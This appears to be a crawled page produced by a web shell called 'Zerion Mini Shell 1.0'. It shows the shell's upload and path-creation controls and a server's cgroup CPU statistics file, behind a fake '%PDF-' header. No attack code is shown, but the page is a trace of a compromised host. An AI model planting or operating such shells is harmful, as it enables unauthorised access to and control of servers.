%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /sys/fs/cgroup/cpu/
Upload File :
Create Path :
Current File : //sys/fs/cgroup/cpu/cpu.proc.stat

cpu  1536260252 69951665 769862459 37716653219 64833077 0 0 55965432
cpu0 85242679 7270387 42483659 1489266995 22110226 0 0 5637935
cpu1 92870720 4371800 47223204 1521971423 5095402 0 0 2996705
cpu2 91221057 6731482 53108247 1518262478 3081497 0 0 2884349
cpu3 93206349 5461247 49672531 1522778931 1896653 0 0 2759276
cpu4 81620539 3956944 42006182 1544395123 1464667 0 0 2634468
cpu5 74006635 3238749 37803765 1557409375 1286470 0 0 2522618
cpu6 69317890 2663050 34968041 1565810494 1239512 0 0 2411140
cpu7 66205758 2455983 32766295 1571502999 1269336 0 0 2328060
cpu8 63685705 2267955 31187293 1575852044 1351163 0 0 2263685
cpu9 61840797 2253060 29883654 1579008258 1451448 0 0 2224185
cpu10 61242359 2172256 29286171 1580237238 1551708 0 0 2201453
cpu11 60321393 2134840 28744557 1581716121 1643490 0 0 2155601
cpu12 59300121 2108276 28394360 1583135884 1710186 0 0 2109601
cpu13 57499393 2088093 27994076 1585434869 1728536 0 0 2060552
cpu14 56648876 2061392 27761452 1586699388 1676788 0 0 2012494
cpu15 55014753 2050629 27161284 1589018298 1706723 0 0 1951704
cpu16 54131758 2046690 26645004 1590473801 1732018 0 0 1943671
cpu17 52584459 1993106 25866129 1593011231 1699274 0 0 1890877
cpu18 52127198 1968821 25349826 1594081444 1683464 0 0 1876720
cpu19 50912446 2040744 24810780 1595828740 1659465 0 0 1849008
cpu20 50576844 2035936 24483019 1596440443 1785356 0 0 1842867
cpu21 49086102 2119773 24255464 1598140317 1668137 0 0 1873156
cpu22 48779184 2238023 23685618 1598593252 2058239 0 0 1776340
cpu23 48817229 2222421 24321838 1597584062 2283307 0 0 1758957
intr 0
swap 0 0

ctxt 435057347310
btime 1747808547
processes 90856103
procs_running 5
procs_blocked 18446744073709505741

Zerion Mini Shell 1.0